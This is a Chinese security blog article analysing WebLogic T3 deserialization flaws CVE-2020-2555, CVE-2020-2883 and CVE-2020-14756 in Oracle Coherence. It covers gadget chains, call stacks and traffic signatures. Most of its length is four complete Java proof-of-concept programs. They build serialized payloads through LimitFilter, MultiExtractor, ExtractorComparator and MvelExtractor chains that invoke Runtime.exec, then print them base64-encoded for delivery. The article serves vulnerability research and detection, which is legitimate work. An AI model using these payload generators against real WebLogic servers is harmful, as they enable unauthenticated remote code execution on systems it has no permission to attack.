长亭百川云 - 文章详情

Weblogic T3协议漏洞分析(二)

bluE0x00

46

2024-07-13

前言

接上文。

正文

CVE-2020-2555

影响范围:

  • Oracle Coherence 3.7.1.17

  • Oracle Coherence 12.1.3.0.0

  • Oracle Coherence 12.2.1.3.0

  • Oracle Coherence 12.2.1.4.0

且JDK > 8u76

漏洞分析

 主要是Oracle Coherence中的LimitFilter类存在一个toString方法:

`public String toString () {`    `StringBuffer sb = new StringBuffer("LimitFilter: (");`    `sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);`    `if (this.m_comparator instanceof ValueExtractor) {`        `ValueExtractor extractor = (ValueExtractor)this.m_comparator;`        `sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));`    `} else if (this.m_comparator != null) {`        `sb.append(", comparator=").append(this.m_comparator);`    `}``   `    `sb.append("])");`    `return sb.toString();``}`

传入的对象若是继承自ValueExtractor类则会调用其extract方法:

可利用的类不止一个,这里先看属于该cve的可利用类com.tangosol.util.extractor.ReflectionExtractor#extract:

构造方法:

反射获取类方法并invoke:

可以通过ChainedExtractor#extract(类似CC的ChainedTransformer)来连续调用extract方法:

而JDK > 8u76后才会有toString用于触发:

poc:

`import com.tangosol.util.ValueExtractor;``import com.tangosol.util.extractor.ChainedExtractor;``import com.tangosol.util.extractor.ReflectionExtractor;``import com.tangosol.util.filter.LimitFilter;``import com.weblogcVul.CVE_2016_3510;``import weblogic.corba.utils.MarshalledObject;``   ``import javax.management.BadAttributeValueExpException;``import java.io.ByteArrayOutputStream;``import java.io.ObjectOutputStream;``import java.lang.reflect.Field;``import java.util.Base64;``   ``public class CVE_2020_2555 {`    `public static void main(String[] args) throws Exception {`        `// 创建第一个Extractor Runtime.getMethod("getRuntime")`        `ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});`        `// 第二个Extractor getRuntime.invoke()`        `ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});`        `// 第三个Extractor invoke(exec, "id")`        `ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success123.txt"});``//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});``   `        `ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});``   `        `LimitFilter limitFilter = new LimitFilter();`        `limitFilter.setComparator(chainedExtractor);`        `limitFilter.setTopAnchor(Runtime.class);``   `        `BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);`        `try {`            `Field field = badAttributeValueExpException.getClass().getDeclaredField("val");`            `field.setAccessible(true);`            `field.set(badAttributeValueExpException, limitFilter);`        `} catch (Exception e) {`            `e.printStackTrace();`        `}``   `        `ByteArrayOutputStream fout = new ByteArrayOutputStream();`        `ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);`        `objectOutputStream.writeObject(badAttributeValueExpException);`        `objectOutputStream.close();`        `System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));`    `}``}`

调用栈如下:

`extract:116, ReflectionExtractor (com.tangosol.util.extractor)``extract:105, ChainedExtractor (com.tangosol.util.extractor)``toString:599, LimitFilter (com.tangosol.util.filter)``readObject:86, BadAttributeValueExpException (javax.management)``invoke0:-1, NativeMethodAccessorImpl (sun.reflect)``invoke:62, NativeMethodAccessorImpl (sun.reflect)``invoke:43, DelegatingMethodAccessorImpl (sun.reflect)``invoke:498, Method (java.lang.reflect)``invokeReadObject:1058, ObjectStreamClass (java.io)``readSerialData:2122, ObjectInputStream (java.io)``readOrdinaryObject:2013, ObjectInputStream (java.io)``readObject0:1535, ObjectInputStream (java.io)``readObject:422, ObjectInputStream (java.io)``readObject:73, InboundMsgAbbrev (weblogic.rjvm)``read:45, InboundMsgAbbrev (weblogic.rjvm)``readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)``init:219, MsgAbbrevInputStream (weblogic.rjvm)``dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)``dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)``dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)``readReadySocketOnce:993, SocketMuxer (weblogic.socket)``readReadySocket:929, SocketMuxer (weblogic.socket)``process:599, NIOSocketMuxer (weblogic.socket)``processSockets:563, NIOSocketMuxer (weblogic.socket)``run:30, SocketReaderRequest (weblogic.socket)``execute:43, SocketReaderRequest (weblogic.socket)``execute:147, ExecuteThread (weblogic.kernel)``run:119, ExecuteThread (weblogic.kernel)`

前面的T3调用过程没有太大变化,主要还是通过上文提到的BadAttributeValueExpException.toString触发LimitFilter.toString进而触发ReflectionExtractor.extract方法

流量特征上看也是正常的T3序列化数据,主要特征为BadAttributeValueExpException和ReflectionExtractor

CVE-2020-2883

影响范围:

  • Oracle Coherence 10.3.6.0.0

  • Oracle Coherence 12.1.3.0.0

  • Oracle Coherence 12.2.1.3.0

  • Oracle Coherence 12.2.1.4.0

在CVE-2020-2555补丁中主要是针对利用类LimitFilter的toString方法进行修复,此CVE主要是对上述修复的绕过。

MultiExtractor#compare

MultiExtractor继承自AbstractExtractor

很明显compare方法中有extract方法的调用:

与ChainedExtractor不同,这里只是遍历Extractors列表并调用其extract方法而非和ChainedExtractor.extract一样进行链式调用:

所以还得封装一层ChainedExtractor来进行rumtime调用,对于compare方法的触发,使用priorityQueue这条链的触发方法即可:

参考RoboTerh师傅的poc:

`import com.tangosol.util.ValueExtractor;``import com.tangosol.util.extractor.ChainedExtractor;``import com.tangosol.util.extractor.MultiExtractor;``import com.tangosol.util.extractor.ReflectionExtractor;``import ysoserial.payloads.util.Reflections;``   ``import java.io.ByteArrayOutputStream;``import java.io.ObjectOutputStream;``import java.lang.reflect.Field;``import java.util.Base64;``import java.util.PriorityQueue;``   ``public class CVE_2020_2883_MultiExtractor {`    `public static void main(String[] args) throws Exception {`        `// 创建第一个Extractor Runtime.getMethod("getRuntime")`        `ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});`        `// 第二个Extractor getRuntime.invoke()`        `ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});`        `// 第三个Extractor invoke(exec, "id")`        `ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success111.txt"});``//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});``   `        `ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});`        `MultiExtractor multiExtractor = new MultiExtractor();``   `        `Field m_aExtractor = multiExtractor.getClass().getSuperclass().getDeclaredField("m_aExtractor");`        `m_aExtractor.setAccessible(true);`        `m_aExtractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor});``   `        `PriorityQueue priorityQueue = new PriorityQueue();`        `priorityQueue.add("1");`        `priorityQueue.add("2");``   `        `Field comparator = priorityQueue.getClass().getDeclaredField("comparator");`        `comparator.setAccessible(true);`        `comparator.set(priorityQueue, multiExtractor);``   `        `Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, "queue");`        `queueArray[0] = Runtime.class;`        `queueArray[1] = "2";``   `        `ByteArrayOutputStream fout = new ByteArrayOutputStream();`        `ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);`        `objectOutputStream.writeObject(priorityQueue);`        `objectOutputStream.close();`        `System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));`    `}``}`

调用栈如下:

`extract:116, ReflectionExtractor (com.tangosol.util.extractor)``extract:105, ChainedExtractor (com.tangosol.util.extractor)``extract:96, MultiExtractor (com.tangosol.util.extractor)``compare:143, AbstractExtractor (com.tangosol.util.extractor)``siftDownUsingComparator:721, PriorityQueue (java.util)``siftDown:687, PriorityQueue (java.util)``heapify:736, PriorityQueue (java.util)``readObject:795, PriorityQueue (java.util)``invoke0:-1, NativeMethodAccessorImpl (sun.reflect)``invoke:62, NativeMethodAccessorImpl (sun.reflect)``invoke:43, DelegatingMethodAccessorImpl (sun.reflect)``invoke:498, Method (java.lang.reflect)``invokeReadObject:1058, ObjectStreamClass (java.io)``readSerialData:2122, ObjectInputStream (java.io)``readOrdinaryObject:2013, ObjectInputStream (java.io)``readObject0:1535, ObjectInputStream (java.io)``readObject:422, ObjectInputStream (java.io)``readObject:73, InboundMsgAbbrev (weblogic.rjvm)``read:45, InboundMsgAbbrev (weblogic.rjvm)``readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)``init:219, MsgAbbrevInputStream (weblogic.rjvm)``dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)``dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)``dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)``readReadySocketOnce:993, SocketMuxer (weblogic.socket)``readReadySocket:929, SocketMuxer (weblogic.socket)``process:599, NIOSocketMuxer (weblogic.socket)``processSockets:563, NIOSocketMuxer (weblogic.socket)``run:30, SocketReaderRequest (weblogic.socket)``execute:43, SocketReaderRequest (weblogic.socket)``execute:147, ExecuteThread (weblogic.kernel)``run:119, ExecuteThread (weblogic.kernel)``PriorityQueue.readObject -> AbstractExtractor.compare -> MultiExtractor.extract -> ChainedExtractor.extract -> ReflectionExtractor.extract`

ExtractorComparator#compare

查看其compare方法:

`public int compare(T o1, T o2) {`    `Comparable a1 = o1 instanceof InvocableMap.Entry ? (Comparable)((InvocableMap.Entry)o1).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o1);`    `Comparable a2 = o2 instanceof InvocableMap.Entry ? (Comparable)((InvocableMap.Entry)o2).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o2);`    `if (a1 == null) {`        `return a2 == null ? 0 : -1;`    `} else {`        `return a2 == null ? 1 : a1.compareTo(a2);`    `}``}`

很明显的extract调用,同样的构造方法:

`import com.tangosol.util.ValueExtractor;``import com.tangosol.util.comparator.ExtractorComparator;``import com.tangosol.util.extractor.ChainedExtractor;``import com.tangosol.util.extractor.MultiExtractor;``import com.tangosol.util.extractor.ReflectionExtractor;``import ysoserial.payloads.util.Reflections;``   ``import java.io.ByteArrayOutputStream;``import java.io.ObjectOutputStream;``import java.lang.reflect.Field;``import java.util.Base64;``import java.util.PriorityQueue;``   ``public class CVE_2020_2883_ExtractorComparator {`    `public static void main(String[] args) throws Exception {`        `// 创建第一个Extractor Runtime.getMethod("getRuntime")`        `ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});`        `// 第二个Extractor getRuntime.invoke()`        `ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});`        `// 第三个Extractor invoke(exec, "id")`        `ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success111.txt"});``//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});``   `        `ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});`        `ExtractorComparator extractorComparator = new ExtractorComparator( chainedExtractor);``   `        `PriorityQueue priorityQueue = new PriorityQueue();`        `priorityQueue.add("1");`        `priorityQueue.add("2");``   `        `Field comparator = priorityQueue.getClass().getDeclaredField("comparator");`        `comparator.setAccessible(true);`        `comparator.set(priorityQueue, extractorComparator);``   `        `Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, "queue");`        `queueArray[0] = Runtime.class;`        `queueArray[1] = "2";``   `        `ByteArrayOutputStream fout = new ByteArrayOutputStream();`        `ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);`        `objectOutputStream.writeObject(priorityQueue);`        `objectOutputStream.close();`        `System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));`    `}``}`

最终触发目标函数,过程差不多就不赘述了:

CVE-2020-14756

影响范围:

  • Oracle Weblogic Server 12.1.3.0.0

  • Oracle Weblogic Server 12.2.1.3.0

  • Oracle Weblogic Server 12.2.1.4.0

  • Oracle Weblogic Server 14.1.1.0.0

同样是对反序列化黑名单的绕过,这里使用的是com.tangosol.coherence.servlet.AttributeHolder,调用其readExternal方法:

而com.tangosol.util.aggregator.TopNAggregator$PartialResult的readExternal方法将会触发其父类的SortedBag$WrapperComparator.compare方法:

而之前我们提到过,所有继承自AbstractExtractor的Extractor都会有一个compare方法可触发其extract方法:

对于MvelExtractor来说触发extract即是执行MVEL表达式计算,执行任意代码:

调用栈如下:

`extract:95, MvelExtractor (com.tangosol.coherence.rest.util.extractor)``compare:143, AbstractExtractor (com.tangosol.util.extractor)``compare:416, SortedBag$WrapperComparator (com.tangosol.util)``compare:1295, TreeMap (java.util)``put:538, TreeMap (java.util)``add:152, SortedBag (com.tangosol.util)``add:270, TopNAggregator$PartialResult (com.tangosol.util.aggregator)``readExternal:299, TopNAggregator$PartialResult (com.tangosol.util.aggregator)``readExternalizableLite:2345, ExternalizableHelper (com.tangosol.util)``readObjectInternal:2661, ExternalizableHelper (com.tangosol.util)``readObject:2606, ExternalizableHelper (com.tangosol.util)``readObject:2583, ExternalizableHelper (com.tangosol.util)``readExternal:407, AttributeHolder (com.tangosol.coherence.servlet)``readExternal:372, AttributeHolder (com.tangosol.coherence.servlet)``readExternalData:2062, ObjectInputStream (java.io)``readOrdinaryObject:2011, ObjectInputStream (java.io)``readObject0:1535, ObjectInputStream (java.io)``readObject:422, ObjectInputStream (java.io)``readObject:73, InboundMsgAbbrev (weblogic.rjvm)``read:45, InboundMsgAbbrev (weblogic.rjvm)``readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)``init:219, MsgAbbrevInputStream (weblogic.rjvm)``dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)``dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)``dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)``readReadySocketOnce:993, SocketMuxer (weblogic.socket)``readReadySocket:929, SocketMuxer (weblogic.socket)``process:599, NIOSocketMuxer (weblogic.socket)``processSockets:563, NIOSocketMuxer (weblogic.socket)``run:30, SocketReaderRequest (weblogic.socket)``execute:43, SocketReaderRequest (weblogic.socket)``execute:147, ExecuteThread (weblogic.kernel)``run:119, ExecuteThread (weblogic.kernel)`

参考Y4er师傅POC:

`import com.tangosol.coherence.rest.util.extractor.MvelExtractor;``import com.tangosol.coherence.servlet.AttributeHolder;``import com.tangosol.util.SortedBag;``import com.tangosol.util.aggregator.TopNAggregator;``   ``import java.io.ByteArrayOutputStream;``import java.io.ObjectOutputStream;``import java.lang.reflect.Field;``import java.lang.reflect.Method;``import java.util.Base64;``   ``public class CVE_2020_14756 {`    `public static void main(String[] args) {`        `MvelExtractor extractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"touch /tmp/123.txt\");");`        `MvelExtractor extractor2 = new MvelExtractor("");``   `        `try {`            `SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);`            `AttributeHolder attributeHolder = new AttributeHolder();`            `sortedBag.add(1);``   `            `Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");`            `m_comparator.setAccessible(true);`            `m_comparator.set(sortedBag, extractor);``   `            `Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);`            `setInternalValue.setAccessible(true);`            `setInternalValue.invoke(attributeHolder, sortedBag);`            `ByteArrayOutputStream fout = new ByteArrayOutputStream();`            `ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);`            `objectOutputStream.writeObject(attributeHolder);`            `objectOutputStream.close();`            `System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));``   `        `} catch (Exception e) {`            `e.printStackTrace();`        `}`    `}``}`

流量特征:

后记

依旧参考RoboTerh师傅的文章:https://tttang.com/archive/1785/#toc\_cve-2017-3248

关于前文中T3协议头部分存在一些问题,具体细则可参考su18《Weblogic RMI 与 T3 初探》。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2